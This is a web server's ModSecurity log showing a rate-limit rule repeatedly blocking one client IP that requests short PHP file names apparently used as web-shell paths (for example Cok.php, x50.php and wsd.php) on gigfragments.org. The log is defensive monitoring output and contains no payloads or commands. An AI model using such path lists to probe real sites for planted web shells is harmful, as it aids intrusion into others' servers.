[Tue Nov 25 20:45:14.808426 2025] [:error] [pid 43789:tid 43802] [client 134.149.17.123:45966] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aSWk2m8H1v7pacHQoiLZGAAAAQo"]
[Tue Nov 25 20:45:15.601831 2025] [:error] [pid 14168:tid 14184] [client 134.149.17.123:45963] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aSWk2_R-ZDU0QEgAIIt7QQAAAM0"]
[Tue Nov 25 20:45:16.192525 2025] [:error] [pid 28739:tid 28772] [client 134.149.17.123:46015] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aSWk3BxGpKmlkG4FexSPOwAAAgo"]
[Tue Nov 25 20:45:16.771067 2025] [:error] [pid 14168:tid 14171] [client 134.149.17.123:46006] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aSWk3PR-ZDU0QEgAIIt7QgAAAMA"]
[Tue Nov 25 20:45:17.396343 2025] [:error] [pid 43789:tid 43810] [client 134.149.17.123:45962] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aSWk3W8H1v7pacHQoiLZHAAAARI"]
[Tue Nov 25 20:45:18.091509 2025] [:error] [pid 43789:tid 43816] [client 134.149.17.123:46030] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aSWk3m8H1v7pacHQoiLZHQAAARg"]
[Tue Nov 25 20:45:18.888891 2025] [:error] [pid 43981:tid 43989] [client 134.149.17.123:45952] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aSWk3ggZn97m_qh_RaFVmwAAAwY"]
[Tue Nov 25 20:45:19.489472 2025] [:error] [pid 43981:tid 43994] [client 134.149.17.123:45894] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aSWk3wgZn97m_qh_RaFVnQAAAws"]
[Tue Nov 25 20:45:20.328076 2025] [:error] [pid 43902:tid 43914] [client 134.149.17.123:45977] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aSWk4IG1ogE2nBuKn7odhQAAAok"]
[Tue Nov 25 20:45:21.080146 2025] [:error] [pid 14078:tid 14142] [client 134.149.17.123:46040] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aSWk4dVXYbb0ii_rVoJdMQAAAIU"]
[Tue Nov 25 20:45:21.653763 2025] [:error] [pid 28739:tid 28777] [client 134.149.17.123:46021] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aSWk4RxGpKmlkG4FexSPQQAAAg8"]
[Tue Nov 25 20:45:22.258441 2025] [:error] [pid 28609:tid 28633] [client 134.149.17.123:46062] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aSWk4iGGdT-nZJVs3x3YBwAAAY8"]
[Tue Nov 25 20:45:22.889883 2025] [:error] [pid 43789:tid 43808] [client 134.149.17.123:46001] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aSWk4m8H1v7pacHQoiLZHwAAARA"]
[Tue Nov 25 20:45:23.401811 2025] [:error] [pid 28739:tid 28776] [client 134.149.17.123:46047] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aSWk4xxGpKmlkG4FexSPRQAAAg4"]
[Tue Nov 25 20:45:24.036352 2025] [:error] [pid 28739:tid 28767] [client 134.149.17.123:45954] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aSWk5BxGpKmlkG4FexSPRgAAAgU"]
[Tue Nov 25 20:45:24.724207 2025] [:error] [pid 43843:tid 43867] [client 134.149.17.123:46045] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aSWk5Bhx4v3NUNdMKDPlggAAAdY"]
[Tue Nov 25 20:45:25.269287 2025] [:error] [pid 28836:tid 29014] [client 134.149.17.123:45975] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aSWk5ZwNRsoxcLQGkTfW2gAAAtg"]
[Tue Nov 25 20:45:25.922700 2025] [:error] [pid 43789:tid 43793] [client 134.149.17.123:46031] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aSWk5W8H1v7pacHQoiLZIwAAAQE"]
[Tue Nov 25 20:45:26.593659 2025] [:error] [pid 28609:tid 28627] [client 134.149.17.123:46024] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aSWk5iGGdT-nZJVs3x3YEgAAAYk"]
[Tue Nov 25 20:45:27.164634 2025] [:error] [pid 14077:tid 14133] [client 134.149.17.123:46007] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aSWk5xG9n7UHEkwDTyi3aQAAAFc"]
[Tue Nov 25 20:45:27.703255 2025] [:error] [pid 28739:tid 28786] [client 134.149.17.123:46074] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w1w.php"] [unique_id "aSWk5xxGpKmlkG4FexSPVQAAAhg"]
[Tue Nov 25 20:45:28.354572 2025] [:error] [pid 14078:tid 14142] [client 134.149.17.123:46026] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w1w.php"] [unique_id "aSWk6NVXYbb0ii_rVoJdPwAAAIU"]
[Tue Nov 25 20:45:29.023617 2025] [:error] [pid 14077:tid 14124] [client 134.149.17.123:46048] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w1w.php"] [unique_id "aSWk6RG9n7UHEkwDTyi3bgAAAE4"]
[Tue Nov 25 20:45:29.642435 2025] [:error] [pid 14076:tid 14099] [client 134.149.17.123:46041] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w1w.php"] [unique_id "aSWk6XsB4Gz6Qw-pvBsrAgAAABI"]
[Tue Nov 25 20:45:30.204917 2025] [:error] [pid 28609:tid 28633] [client 134.149.17.123:45913] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aSWk6iGGdT-nZJVs3x3YFQAAAY8"]
[Tue Nov 25 20:45:30.902825 2025] [:error] [pid 14076:tid 14091] [client 134.149.17.123:45959] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aSWk6nsB4Gz6Qw-pvBsrBgAAAAo"]
[Tue Nov 25 20:45:31.505627 2025] [:error] [pid 14077:tid 14127] [client 134.149.17.123:45960] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aSWk6xG9n7UHEkwDTyi3dAAAAFE"]
[Tue Nov 25 20:45:32.180111 2025] [:error] [pid 28836:tid 29006] [client 134.149.17.123:45968] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cafe.php"] [unique_id "aSWk7JwNRsoxcLQGkTfW5AAAAtA"]
[Tue Nov 25 20:45:32.738593 2025] [:error] [pid 2987:tid 3005] [client 134.149.17.123:46033] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aSWk7M-djEt-pTzPxny46AAAAVA"]
[Tue Nov 25 20:45:33.302533 2025] [:error] [pid 28836:tid 28959] [client 134.149.17.123:46016] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aSWk7ZwNRsoxcLQGkTfW5gAAAsQ"]
[Tue Nov 25 20:45:33.935376 2025] [:error] [pid 14078:tid 14155] [client 134.149.17.123:46063] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aSWk7dVXYbb0ii_rVoJdRwAAAJI"]
[Tue Nov 25 20:45:34.553709 2025] [:error] [pid 43981:tid 43984] [client 134.149.17.123:46017] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww2.php"] [unique_id "aSWk7ggZn97m_qh_RaFVpAAAAwE"]
[Tue Nov 25 20:45:35.212562 2025] [:error] [pid 43981:tid 43993] [client 134.149.17.123:45971] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aSWk7wgZn97m_qh_RaFVpgAAAwo"]
[Tue Nov 25 20:45:35.835482 2025] [:error] [pid 28836:tid 28956] [client 134.149.17.123:46009] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aSWk75wNRsoxcLQGkTfW6wAAAsE"]
[Tue Nov 25 20:45:36.499617 2025] [:error] [pid 14078:tid 14161] [client 134.149.17.123:46052] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aSWk8NVXYbb0ii_rVoJdUgAAAJg"]
[Tue Nov 25 20:45:37.232392 2025] [:error] [pid 14078:tid 14144] [client 134.149.17.123:45964] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww3.php"] [unique_id "aSWk8dVXYbb0ii_rVoJdVAAAAIc"]
[Tue Nov 25 20:45:37.804371 2025] [:error] [pid 14078:tid 14138] [client 134.149.17.123:45946] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww4.php"] [unique_id "aSWk8dVXYbb0ii_rVoJdVQAAAIE"]
[Tue Nov 25 20:45:38.414409 2025] [:error] [pid 14078:tid 14142] [client 134.149.17.123:45897] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww4.php"] [unique_id "aSWk8tVXYbb0ii_rVoJdVwAAAIU"]
[Tue Nov 25 20:45:39.024870 2025] [:error] [pid 14168:tid 14176] [client 134.149.17.123:45969] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww4.php"] [unique_id "aSWk8_R-ZDU0QEgAIIt7ZgAAAMU"]
[Tue Nov 25 20:45:39.852145 2025] [:error] [pid 14078:tid 14147] [client 134.149.17.123:46027] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww4.php"] [unique_id "aSWk89VXYbb0ii_rVoJdXAAAAIo"]
[Tue Nov 25 20:45:40.525056 2025] [:error] [pid 2987:tid 3000] [client 134.149.17.123:46005] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aSWk9M-djEt-pTzPxny5BQAAAUs"]
[Tue Nov 25 20:45:41.072480 2025] [:error] [pid 14078:tid 14155] [client 134.149.17.123:46039] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aSWk9dVXYbb0ii_rVoJdYgAAAJI"]
[Tue Nov 25 20:45:41.619666 2025] [:error] [pid 28836:tid 29006] [client 134.149.17.123:45978] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aSWk9ZwNRsoxcLQGkTfXAgAAAtA"]
[Tue Nov 25 20:45:42.243650 2025] [:error] [pid 28739:tid 28783] [client 134.149.17.123:46035] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aSWk9hxGpKmlkG4FexSPaAAAAhU"]
[Tue Nov 25 20:45:42.808011 2025] [:error] [pid 43981:tid 43990] [client 134.149.17.123:45970] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWk9ggZn97m_qh_RaFVtAAAAwc"]
[Tue Nov 25 20:45:43.546138 2025] [:error] [pid 14078:tid 14160] [client 134.149.17.123:46028] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWk99VXYbb0ii_rVoJdawAAAJc"]
[Tue Nov 25 20:45:44.170096 2025] [:error] [pid 14078:tid 14139] [client 134.149.17.123:45972] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWk-NVXYbb0ii_rVoJdbwAAAII"]
[Tue Nov 25 20:45:44.786086 2025] [:error] [pid 43981:tid 43984] [client 134.149.17.123:45989] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWk-AgZn97m_qh_RaFVtgAAAwE"]
[Tue Nov 25 20:45:45.325581 2025] [:error] [pid 14076:tid 14097] [client 134.149.17.123:46076] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWk-XsB4Gz6Qw-pvBsrGAAAABA"]
[Tue Nov 25 20:45:45.870403 2025] [:error] [pid 14168:tid 14186] [client 134.149.17.123:46044] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWk-fR-ZDU0QEgAIIt7kwAAAM8"]
[Tue Nov 25 20:45:46.404922 2025] [:error] [pid 14078:tid 14151] [client 134.149.17.123:46013] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWk-tVXYbb0ii_rVoJdgQAAAI4"]
[Tue Nov 25 20:45:47.009741 2025] [:error] [pid 14078:tid 14148] [client 134.149.17.123:46051] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWk-9VXYbb0ii_rVoJdhAAAAIs"]
[Tue Nov 25 20:45:47.528917 2025] [:error] [pid 14078:tid 14143] [client 134.149.17.123:45923] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aSWk-9VXYbb0ii_rVoJdigAAAIY"]
[Tue Nov 25 20:45:48.112090 2025] [:error] [pid 14078:tid 14154] [client 134.149.17.123:45991] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aSWk_NVXYbb0ii_rVoJdjwAAAJE"]
[Tue Nov 25 20:45:48.676317 2025] [:error] [pid 28739:tid 28782] [client 134.149.17.123:46059] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aSWk_BxGpKmlkG4FexSPigAAAhQ"]
[Tue Nov 25 20:45:49.257285 2025] [:error] [pid 2987:tid 3012] [client 134.149.17.123:45974] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aSWk_c-djEt-pTzPxny5EgAAAVc"]
[Tue Nov 25 20:45:49.841145 2025] [:error] [pid 14078:tid 14138] [client 134.149.17.123:46049] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aSWk_dVXYbb0ii_rVoJdlQAAAIE"]
